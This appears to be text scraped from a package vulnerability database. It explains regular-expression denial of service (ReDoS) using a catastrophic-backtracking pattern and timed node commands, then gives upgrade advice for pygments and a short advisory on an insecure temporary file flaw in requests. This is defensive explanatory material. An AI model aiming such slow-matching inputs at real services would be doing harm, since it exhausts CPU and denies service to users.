The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade pygments to version 2.20.0 or higher.

References

• GitHub Commit
• GitHub Issue
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

• GitHub Commit
• Maintainer's Advisory

MPL-2.0 license

LGPL-2.1 license